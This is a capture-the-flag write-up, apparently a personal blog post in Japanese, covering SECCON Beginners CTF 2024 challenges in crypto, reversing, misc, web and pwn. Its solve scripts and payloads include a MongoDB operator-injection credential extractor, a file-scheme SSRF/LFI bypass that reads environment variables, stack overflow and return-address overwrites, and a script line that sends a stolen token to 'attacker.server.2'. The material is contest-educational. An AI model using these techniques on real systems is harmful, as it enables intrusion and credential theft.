SECCON Beginners CTF 2024 に参加しました．

962 チーム中 6 位だったので，一人にしてはかなり頑張っていると思います．

ただ，Crypto は全完できたけど理解できていない問題があったり，Web の難しい問題は全然わからなかったり，課題がかなりある気がします．
ペアリング，グレブナー基底，ブロックチェーン，カーネルエクスプロイトは前々から勉強しなあかんなと思っていたけど避けてきたので，これを機に勉強します．多分．

Crypto

Safe Prime

author:ptr-yudai
beginner

Using a safe prime makes RSA secure, doesn't it?

Safe_Prime.tar.gz 774280c0d7d278ed01f537b13014fa15b4dc1d3a

$n = p \cdot (2 p + 1)$ で構成されている．

$n$ が $p$ のみで決まるので，二分探索する．

from Crypto.Util.number import *

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

def f(p):
    return 2 * p +1

def search(n):
    lb = 0
    ub = 2**1024
    while lb != ub:
        p = (lb + ub) // 2
        if p * f(p) < n:
            lb = p
        else:
            ub = p - 1
        print(lb, ub)
    return p

p = search(n)
q = f(p)

print(p)
print(q)

assert p * q == n

phi = (p-1) * (q-1)
d = inverse(e, phi)

m = long_to_bytes(pow(c, d, n))
print(m)

math

author:task4233
easy
RSA暗号に用いられる変数に特徴的な条件があるようですね...?

math.tar.gz 2740fceb50df89f4638a1e3b6ded3487a55461fc

$p, q$ は素数で，$a = p - x,; b = q -x$ とすると，$x, a, b$ は平方数となっている．
通常の RSA のパラメータに加えて $a \cdot b$ が与えられている．
また，$a$ は $A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169$ で割り切れて，$b$ は $B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661$ で割り切れることがわかっている．

$A, B$ はともに素数なので，$a = a'^2 = (k A)^2,\quad b = b'^2 = (l B)^2$ と表すことができて，$ab = k^2 l^2 A^2 B^2$ となる．
$ab / (A^2 B^2) = 1002777341573073149099549678043369$ を素因数分解すると $3^2 \cdot 173^2 \cdot 199^2 \cdot 306606827773^2$ となる．

$a \cdot b = (p - x) \cdot (q - x) = n - (p + q) x + x^2$
$\therefore x^2 + (a + b) x + (ab - n) = 0$
$k, l$ の組み合わせの数が少ないので，総当りして平方数となるような $x$ を探す．

from Crypto.Util.number import *
import gmpy2

def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661

factors = [3, 173, 199, 306606827773]
for bits in range(1<<4):
    k = 1
    l = 1
    for i in range(len(factors)):
        if (bits >> i) & 1 == 0:
            k *= factors[i]
        else:
            l *= factors[i]
    a = (k**2) * (A**2)
    b = (l**2) * (B**2)

    sq = (a - b)**2 + 4 * n
    if is_square(sq):
        x = (- (a + b) + int(gmpy2.isqrt(sq))) // 2
        assert x**2 + (a + b) * x + (ab - n) == 0
        assert is_square(x)
        break

p = int(a + x)
q = int(b + x)
assert n == p * q

phi = (p-1) * (q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(cipher, d, n)))

ARES

author:ptr-yudai
medium
ARES stands for Advanced RSA Encryption Standard.

nc ares.beginners.seccon.games 5000

ARES.tar.gz 91ee14acf67ffcb55f41f589a2a0c444241d9bf0

ARES は RSA で暗号化してから AES の CBC モードで暗号化していて，任意の平文，暗号文を投げるとそれぞれ暗号化，復号化してくれる．

$m^e = \text{AES_Dec}(\text{ct})$ となるような $\text{ct}$ がほしい．

今回は CBC モードが使われているので，$\text{ct}$ の後ろのブロックから順に決定していくことで所望の $\text{ct}$ が得られる．

$m^e$ のブロックを $M_0, M_1, \dots, M_7$，$\text{ct}$ のブロックを $C_0, C_1, \dots, C_7$ とする．

$IV = 0, C_7 = 0$ として
$c_7' = \text{RSA_Dec}(C_7') = \text{AES_Dec}(\text{AES_Dec}(IV + C_7))$
を求める．
ここで $c_7' = \text{int}(C_7')^d \mod{n}$ なので
$\text{int}(C_7') = c_{7}'^e \mod{n}$
とすると $C_7'$ が求まる．
$C_6 = M_7 \oplus C_7'$ とする．

次に，$IV = 0$ として
$c_6' = \text{RSA_Dec}(C_6') = \text{AES_Dec}(\text{AES_Dec}(IV + C_6))$
を求める．
同様に $c_6' = \text{int}(C_6')^d \mod{n}$ なので
$\text{int}(C_6') = c_{6}'^e \mod{n}$
とすると $C_6'$ が求まる．
$C_5 = M_6 \oplus C_6'$ とする．

これを繰り返すことで $\text{ct}$ が求められる．

ただし $n$ が与えられていないので，求める必要がある．
サーバに平文を送るときは整数であれば負の値でも良いので $-1$ を投げて，それを復号すると $n - 1$ が得られる．

from pwn import *
from Crypto.Util.number import long_to_bytes

N_BITS = 1024
e = 65537

def sovlve():
    io = remote('ares.beginners.seccon.games', 5000)
    enc_flag = int(io.recvline().decode().split()[-1], 16)
    enc_flag_bytes = int.to_bytes(enc_flag, N_BITS//8, 'big')

    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'm: ', str(-1).encode())
    c = io.recvline().decode().split()[-1]

    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'c: ', c.encode())
    n_1 = int(io.recvline().decode().split()[-1])
    n = n_1 + 1

    ct = b'\x00' * 16
    for i in range(len(enc_flag_bytes) // 16):
        if i == 0:
            ct_block = ct
            enc_flag_block = enc_flag_bytes[-16:]
        else:
            ct_block = ct[-16 * (i + 1) : -16 * i]
            enc_flag_block = enc_flag_bytes[-16 * (i + 1) : -16 * i]

        io.sendlineafter(b'> ', b'2')
        io.sendlineafter(b'c: ', (b'\x00' * 16 + ct_block).hex().encode())
        buf = int(io.recvline().decode().split()[-1])
        buf = pow(buf, e, n)
        buf = buf.to_bytes(16, 'big')
        ct = bxor(buf, enc_flag_block) + ct

    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'c: ', ct.hex().encode())
    flag = int(io.recvline().decode().split()[-1])

    print(long_to_bytes(flag))

def bxor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])

if __name__ == '__main__':
    sovlve()

bless

author:ptr-yudai,kanon
hard
ECDLP on two different curves...?

bless.tar.gz 484c9761181d1929b2126a18ea6e231deec3cbfb

あまり理解できていないですが．この辺を見て解きました．

BLS12-381 を調べているとペアリングがどうのこうのって話が出てくる．

$e(a G_1, G_2) = e(G_1, a G_2) = e(G_1, G_2)^a$ が成り立つらしい．

ただし，$G_1, G_2$ の位数が同じじゃないと行けないらしいが，この問題では $G_2$ を適当にとってきている．
h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5 を $G_2$ とかにかければいける．

よって，$e(sG_1, h_2 \cdot tG_2)^c = e(G_1, h_2 \cdot cstG_2)$ が成り立つような $c \quad (0 \le c < 256)$ を探せば良い．

import json

q = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
r = 0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001

F = GF(q, x, x)
F2.<i> = GF(q^2, "i", x^2 + 1)
F12.<w> = GF(q**12, "w", x**12 - 2*x**6 + 2)

i12 = w**6 - 1
z = w^-1

E1 = EllipticCurve(F, [0, 4])
E2 = EllipticCurve(F2, [0, 4*(1+i)])
E12 = EllipticCurve(F12, [0, 4])

h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5

def F2_to_F12(coeffs):
    assert len(coeffs) == 2
    c = coeffs[0]
    d = coeffs[1]
    x = c + d*i12

    return x


def sextic_twist(Px, Py):
    x = F2_to_F12(Px)
    y = F2_to_F12(Py)

    return E12(z^2*x, z^3*y)

G1 = E12(0x17F1D3A73197D7942695638C4FA9AC0FC3688C4F9774B905A14E3A3F171BAC586C55E83FF97A1AEFFB3AF00ADB22C6BB, 0x08B3F481E3AAA0F1A09E30ED741D8AE4FCF5E095D5D00AF600DB18CB2C04B3EDD03CC744A2888AE40CAA232946C5E7E1)

with open('./bless/output.json') as f:
    json_datas = json.load(f)

flag = []
for json_data in json_datas:
    sG1_x = json_data['P']['x']
    sG1_y = json_data['P']['y']
    sG1 = E12(sG1_x, sG1_y)

    tG2_x = json_data['Q']['x']
    tG2_y = json_data['Q']['y']
    tG2 = sextic_twist(tG2_x, tG2_y)

    cstG2_x = json_data['R']['x']
    cstG2_y = json_data['R']['y']
    cstG2 = sextic_twist(cstG2_x, cstG2_y)

    e_P1 = sG1.weil_pairing(h2 * tG2, r)
    e_P2 = G1.weil_pairing(h2 * cstG2, r)

    for c in range(256):
        if e_P1^c == e_P2:
            flag.append(c)
            print(c)
            break
    else:
        print('ERROR')
        exit()

print(bytes(flag))

Try hard in my style

author:kanon
hard
ok ok, its Franklin-Reiter's Rel... wait??

nc try-hard-in-my-style.beginners.seccon.games 5000

Try_hard_in_my_style.tar.gz 2b8b13a7cd4a25e9ef48e18bc6dbed83c74cf894

RSA で暗号化されている値は以下のようになっている．
$c_1 = (m + s)^e \mod{n}$
$c_2 = (m + s t_1)^e \mod{n}$
$c_3 = (m t_2 + s)^e \mod{n}$
($s$ は未知なランダムな値)

変数を減らしたいのでグレブナー基底を使う (あんまり理解できていないので Writeup: ASIS CTF 2021 - madras を参考にしました)．

$y$ を $m$，$x$ を $s$ としてグレブナー基底を求めると
$y^e + A$ ($A$ は定数)
が得られる．

$n - A$ とすると，これが $m^e$ なので，サーバに $e$ 回接続して異なる $n$ に対する $m^e$ を得て Hastad's Broadcast Attack を使う．

from pwn import *
from Crypto.Util.number import long_to_bytes

e = 17

def get_value():
    io = remote('try-hard-in-my-style.beginners.seccon.games', '5000')

    e = int(io.recvline().decode().split('=')[-1])
    n = int(io.recvline().decode().split('=')[-1])
    t1 = int(io.recvline().decode().split('=')[-1])
    t2 = int(io.recvline().decode().split('=')[-1])
    c1 = int(io.recvline().decode().split('=')[-1])
    c2 = int(io.recvline().decode().split('=')[-1])
    c3 = int(io.recvline().decode().split('=')[-1])

    print(f"{e = }")
    print(f"{n = }")
    print(f"{t1 = }")
    print(f"{t2 = }")
    print(f"{c1 = }")
    print(f"{c2 = }")
    print(f"{c3 = }")

    PR.<x,y> = PolynomialRing(Zmod(n))
    f = (x + y)^e - c1
    g = (t1 * x + y)^e - c2
    h = (x + t2 * y)^e - c3

    polys = [f, h, g]
    I = Ideal(polys)
    basis = I.groebner_basis()
    print(basis[0])
    return int(n), int(n-list(basis[0])[1][0])

if __name__ == '__main__':
    cs = []
    ns = []
    for _ in range(e):
        n, c = get_value()
        cs.append(c)
        ns.append(n)

    me = int(crt(cs, ns))
    m = int(me^(1/e))
    print(long_to_bytes(m))

Reversing

assemble

author:hi120ki
beginner
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

https://assemble.beginners.seccon.games

assemble.tar.gz dc12b54445e8b38e25949646ed960304b19d118d

アセンブリを書いていく問題．
命令は mov, push, syscall のみ使える．

Challenge 1

Please write 0x123 to RAX!

mov rax, 0x123

Challenge 2

Please write 0x123 to RAX and push it on stack!

mov rax, 0x123
push rax

Challenge 3

Please use syscall to print Hello on stdout!

mov rcx, 478560413000
push rcx

mov rdx, 5
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall

Challenge 4

Please read flag.txt file and print it to stdout!

push 0
mov rcx, 8392585648256674918
push rcx
mov rdx, 0
mov rsi, 0
mov rdi, rsp
mov rax, 2
syscall

mov rdx, 0x100
mov rsi, rsp
mov rdi, rax
mov rax, 0
syscall

mov rdx, 0x34
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall

cha-ll-enge

author:hi120ki
easy
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

cha-ll-enge.tar.gz 0356d82e580af031d889a46a750dd3a6b96a74ce

全然わからなかったので，ChatGPT に聞くと LLVM であることがわかる．

そのまま GPT-4o に

以下の LLVM の細かい動作を知りたいので，同じ処理をする C 言語のプログラムを書いてください．

て聞くと以下のコードを吐いてくれた

#include <stdio.h>
#include <string.h>

const int key[50] = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 
                    125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 
                    56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 
                    8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 
                    39, 66, 44, 27, 122, 77, 36, 20, 122, 7};

int main() {
    char input[70];
    int temp1[50];
    int correct_count = 0;
    int result = 0;
    long i = 0;

    printf("Input FLAG : ");
    scanf("%s", input);

    // Check if the length of input is 49
    if (strlen(input) != 49) {
        puts("Incorrect FLAG.");
        return 1;
    }

    // Process each character of the input
    while (i < 49) {
        int c = (int)input[i];
        int k1 = key[i];
        int xor1 = c ^ k1;
        int k2 = key[i + 1];
        int xor2 = xor1 ^ k2;
        
        // Check if the result of the XOR operations is zero
        if (xor2 == 0) {
            correct_count++;
        }
        
        i++;
    }

    // Check if the count of correct XOR results is 49
    if (correct_count == 49) {
        printf("Correct! FLAG is %s.\n", input);
        return 0;
    } else {
        puts("Incorrect FLAG.");
        return 1;
    }
}

lst = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

for i in range(len(lst) - 1):
    print(chr(lst[i] ^ lst[i + 1]), end='')
print()

onstruct

author:Arata
medium
使っていない関数がたくさんある……？

construct.tar.gz 2a78b30c7cbc7e4492e20f18463341c2028c2bee

Ghidra でデコンパイルしたけど，関数を呼び出している順番がわからなかった．

ltrace を繰り返し使えば調べられる．

└─< ltrace ./construct c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
strlen("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...)                                                                                                     = 32
strncmp("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"..., "c0_d4yk261hbosje893w5igzfrvaumql"..., 2)                                                          = 0
strncmp("ns7ruc70rs_3as3_h1d1ng_7h1ngs!", "nske1cgaiylz0mwfv7p9r32h6qj8bt4d"..., 2)                                                               = 0
strncmp("7ruc70rs_3as3_h1d1ng_7h1ngs!", "7rvb9qh5_1ops6jg3ykf8x0emtcind24"..., 2)                                                                 = 0
strncmp("uc70rs_3as3_h1d1ng_7h1ngs!", "uchnkyi6wb2ld507p8g3stfej1rzqmo", 2)                                                                       = 0
strncmp("70rs_3as3_h1d1ng_7h1ngs!", "701zvbdfp4ioqc2hy_juegkmatls3", 2)                                                                           = 0
strncmp("rs_3as3_h1d1ng_7h1ngs!", "rsl841qo6_0dwg529zanmbpvxe7", 2)                                                                               = 0
strncmp("_3as3_h1d1ng_7h1ngs!", "_3erat9f6mx854pyol7zkvdwn", 2)                                                                                   = 0
strncmp("as3_h1d1ng_7h1ngs!", "astioc294n0lxu38fdk_ypm", 2)                                                                                       = 0
strncmp("3_h1d1ng_7h1ngs!", "3_8wk7li6uqfmhe50bdsx", 2)                                                                                           = 0
strncmp("h1d1ng_7h1ngs!", "h14ktywpzma2l7nr685", 2)                                                                                               = 0
strncmp("d1ng_7h1ngs!", "d18egbnyw6rm_tqjh", 2)                                                                                                   = 0
strncmp("ng_7h1ngs!", "ng3mwpzduqth_7o", 2)                                                                                                       = 0
strncmp("_7h1ngs!", "_74sz2gkvaxch", 2)                                                                                                           = 0
strncmp("h1ngs!", "h1lxgum48es", 2)                                                                                                               = 0
strncmp("ngs!", "ngduzx_ai", 2)                                                                                                                   = 0
strncmp("s!", "s!om347a", 2)                                                                                                                      = 0
puts("CONGRATULATIONS!"CONGRATULATIONS!
)                                                                                                                          = 17
printf("The flag is ctf4b{%s}\n", "c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
)                                                                          = 52
_exit(0 <no return ...>
+++ exited (status 0) +++

former-seccomp

author:Arata
hard
フラグチェック用のシステムコールを自作してみました

former-seccomp.tar.gz e84744722afde5756640fccb12afd01654f77c25

Ghidra でデコンパイルすると RC4 の関数が見つかる．

そこを呼び出している部分を見ると入力した値と比較している処理が見つかる．

undefined8 check_flag(char *flag)
{
    size_t flag_len;
    undefined8 uVar1;
    size_t key_len;
    long ct;
    ulong i;
    long i_;
    
    flag_len = strlen(flag);
    if (flag_len == 0x1a) {
        for (i = 0; key_len = strlen(&key), i < key_len; i = i + 1) {
            (&key)[i] = (char)i + 0x20U ^ (&key)[i];
        }
        ct = rc4(&enc_data,&key);
        for (i_ = 0; (flag[i_] != '\0' && (*(char *)(i_ + ct) != '\0')); i_ = i_ + 1) {
            if (flag[i_] != *(char *)(i_ + ct)) {
                return 0;
            }
        }
        uVar1 = 1;
    }
    else {
        uVar1 = 0;
    }
    return uVar1;
}

def KSA(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def RPGA(S):
    S = S[:]
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        key = S[(S[i] + S[j]) % 256]
        yield key

def RC4(plaintext, key):
    S = KSA(key)
    return bytes([x ^ y for x, y in zip(plaintext, RPGA(S))])

with open('./former-seccomp/former-seccomp', 'rb') as f:
    data = f.read()

enc_data = data[0x3010 : 0x3010 + 0x1a]
key = data[0x3030 : 0x3030 + 10]

key = list(key)
for i in range(len(key)):
    key[i] = i + 0x20 ^ key[i]
key = bytes(key)

flag = RC4(enc_data, key)
print(f'ctf4b{{{flag.decode()}}}')

Misc

getRank

author:xryuseix
easy

https://getrank.beginners.seccon.games

getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16

10 ** 255 よりも大きな値を入れたいが，以下のようにいくつか制限がある．

function chall(input: string): Res {
    if (input.length > 300) {
        return {
            rank: -1,
            message: "Input too long",
        };
    }

    let score = parseInt(input);
    if (isNaN(score)) {
        return {
            rank: -1,
            message: "Invalid score",
        };
    }
    if (score > 10 ** 255) {
        // hmm...your score is too big?
        // you need a handicap!
        for (let i = 0; i < 100; i++) {
            score = Math.floor(score / 10);
        }
    }
    return ranking(score);
}

普通に入力してもだめなので，文字列として入力できる最大長で，16 進数表記で最大の値を入れてみると Infinity となることがわかる．

score = parseInt('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')
// >>> Infinity

Infinity は

score = Math.floor(score / 10);

の処理をしても Infinity のままになる．

clamre

author:n01e0
easy

アンチウィルスのシグネチャを読んだことはありますか?

※サーバにアクセスしなくても解けます

https://clamre.beginners.seccon.games

clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c

flag.ldv の中に正規表現がある．

/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

\x63\x74\x66 とかはそのまま ASCII で変換する．
4 とかはそのまま 4 になる．
() でくくられているのはグループになっていて，\7 とかは 7 番目のグループを指す (ただし，先頭の (\x63\x74\x66) が 2 番目)．

flag = b''

flag += b'\x63\x74\x66' ## 2
flag += b'4' ## 3
flag += b'\x62' ## 4
flag += b'{B' ## 5
flag += b'\x72' ## 6
flag += b'\x33' ## 7

flag += b'4'

flag += b'\x6b1' ## 8
flag += b'\x6e\x67' ## 9
flag += b'\x5f' ## 10

flag += b'4'

flag += b'\x6c' ## 11

flag += b'\x6c'
flag += b'\x5f'

flag += b'\x54\x68' ## 12

flag += b'\x33'
flag += b'\x5f'

flag += b'\x480' ## 13
flag += b'\x75' ## 14
flag += b'5' ## 15

flag += b'\x33'
flag += b'\x5f'

flag += b'\x52' ## 16

flag += b'\x75'
flag += b'\x6c'
flag += b'\x33'

flag += b'5' ## 17
flag += b'}'

print(flag.decode())

Web

wooorker

author:yuasa
beginner

adminのみflagを取得できる認可サービスを作りました!

https://wooorker.beginners.seccon.games

脆弱性報告bot

wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52

next に URL を指定するとログイン後に token をリクエストパラメータに設定して，そこに飛んでくれる．

window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;

login?next=https://my.server.com を bot に提出する．

└─< curl https://wooorker.beginners.seccon.games/flag -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0MjY2LCJleHAiOjE3MTg0Njc4NjZ9.RDtWtqcoMSSX8AwMbj9ylD7N27VklOnUg4Bzl4Unmbw" 
{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}

ssrforlfi

author:Satoki
easy

SSRF？ LFI？ ひょっとしてRCE？

https://ssrforlfi.beginners.seccon.games

ssrforlfi.tar.gz 52c79695ec23cafb85105bc0dae8e4e3eef2ae1f

以下のように色々対策されている

def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

通常のファイルパスとしては存在しないが，URL としては有効なものを指定すると，file スキーマの対策をバイパスできる．

完全修飾絶対 URI のフォーマットは以下のようになっているので，スキーマとパスの間にホスト名が入れられる

scheme: | // | user:password@ | host | :port | /path | ?query | #fragment

https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ とすると，以下のように環境変数が取得できる．

UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

double-leaks

author:task4233
medium

Can you leak both username and password? :eyes: https://double-leaks.beginners.seccon.games

double-leaks.tar.gz 0b2caf8009ad63d20dbc672e9213a85a09ce0fed

MongoDB で SQLi みたいなことをする．

以下のようにパラメータを JSON で受け取っているので，文字列以外も投げられる．

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password_hash = request.json["password_hash"]
    if waf(password_hash):
        return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400

    try:
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )
        if user is None:
            return jsonify({"message": "Invalid Credential"}), 401

        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

        return jsonify(
            {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
        )

    except Exception:
        traceback.print_exc(file=sys.stderr)
        return jsonify({"message": "Internal Server Error"}), 500
    finally:
        client.close()

MongoDBのcollection基本操作をpythonで（pymongo）を見ると $lt とか $ne が使えることがわかる．

import requests
import json
from string import printable

URL = 'https://double-leaks.beginners.seccon.games/login'

def search_username():
    username = ''
    while True:
        for c in printable:
            if c in '.*\\+?|^$':
                c = '\\' + c
            data = {
                'username': {
                    '$regex': f'^{username + c}.*'
                },
                'password_hash':{
                    '$ne': 0
                }
            }
            res = requests.post(URL, json=data)
            res = json.loads(res.text)
            if res['message'] == 'DO NOT CHEATING':
                username += c
                print(username)
                break
        else:
            break
    print(f'{username = }')
    return username

def search_passwdhash(username):
    lb = 0
    ub = 1 << 256

    while lb != ub:
        mid = (lb + ub) // 2
        data = {
            'username': username,
            'password_hash':{
                '$lte': f'{mid:032x}'
            }
        }
        res = requests.post(URL, json=data)
        res = json.loads(res.text)
        if res['message'] == 'DO NOT CHEATING':
            ub = mid
        else:
            lb = mid + 1
    
    print(f'passwdhash = {lb:032x}')
    return f'{lb:032x}'

if __name__ == '__main__':
    username = search_username()
    search_passwdhash(username)

wooorker2

author:yuasa
medium

トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

https://wooorker2.beginners.seccon.games

脆弱性報告bot

wooorker2.tar.gz 8a791365347487091fdda6fce4cf6fd463c0b567

wooorker とは違い，フラグメント識別子に token が与えられるのでリクエストには含まれない．

window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;

最初に next で訪れるサイトに JavaScript のコードを配置することで token を送信させることを考える．

attacker.server.1 に以下を配置する (; を含むと失敗するっぽい)．

<script>window.location.href = `https://attacker.server.2?t=${location.hash.split('=')[1]}`</script>

以下を提出すると，attacker.server.2 に token が届く

login?next=https://attacker.server.1

Pwnable

simpleoverflow

author:n01e0
beginner

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32

buf が BOF できて，その直後に is_admin があるので，適当に入れればいける．

from pwn import *

io = remote('simpleoverflow.beginners.seccon.games', 9000)

io.sendlineafter(b'name:', b'\xff' * 11)
io.interactive()

simpleoverwrite

author:n01e0
easy

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

simpleoverwrite.tar.gz 258a74ec5be217dd8cdf46c428866e52315e4312

セキュリティ機構

└─< checksec --file=./simpleoverwrite/chall 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   44) Symbols       No    0               3               ./simpleoverwrite/chall

BOF ができて canary も無いので，リターンアドレスを win に書き換える．

from pwn import *

io = remote('simpleoverwrite.beginners.seccon.games', 9001)
io.sendlineafter(b'input:', b'A' * 18 + p64(0x0000000000401186))
io.interactive()

pure-and-easy

author:n01e0
easy

nc pure-and-easy.beginners.seccon.games 9000

pure-and-easy.tar.gz 1318c46e8f8908a7b2ec3204b4a30205e05ea3b2

セキュリティ機構

└─< checksec --file=chall                  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   46) Symbols       No    0               3               chall

書式文字列攻撃ができるので，exit 関数の GOT を win 関数に書き換える．

pwndbg> got
GOT protection: Partial RELRO | GOT functions: 9
[0x404000] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */
[0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401046 (__stack_chk_fail@plt+6) ◂— push 1
[0x404010] printf@GLIBC_2.2.5 -> 0x401056 (printf@plt+6) ◂— push 2
[0x404018] alarm@GLIBC_2.2.5 -> 0x7ffff7cea540 (alarm) ◂— endbr64 
[0x404020] read@GLIBC_2.2.5 -> 0x401076 (read@plt+6) ◂— push 4
[0x404028] fgets@GLIBC_2.2.5 -> 0x401086 (fgets@plt+6) ◂— push 5
[0x404030] setvbuf@GLIBC_2.2.5 -> 0x7ffff7c815f0 (setvbuf) ◂— endbr64 
[0x404038] fopen@GLIBC_2.2.5 -> 0x4010a6 (fopen@plt+6) ◂— push 7
